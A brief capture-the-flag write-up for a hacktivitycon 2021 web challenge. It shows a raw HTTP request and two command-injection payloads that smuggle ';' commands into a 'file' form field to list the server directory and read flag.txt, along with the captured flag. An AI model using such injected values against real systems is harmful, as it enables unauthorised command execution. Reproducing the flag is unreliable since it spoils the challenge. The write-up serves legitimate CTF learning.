/ctfs/h@cktivitycon - 2021/web/confidentiality (n°1 command injection)


We can read file perms

But the web page allows command injection
POST / HTTP/1.1
Host: challenge.ctf.games:31265
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge.ctf.games:31265
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge.ctf.games:31265/
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

file=/etc/host ; ls

<pre>
flag.txt
main.py
requirements.txt
templates

</pre>

file=/etc/host ; cat flag.txt

<pre>
flag{e56abbce7b83d62dac05e59fb1e81c68}
</pre>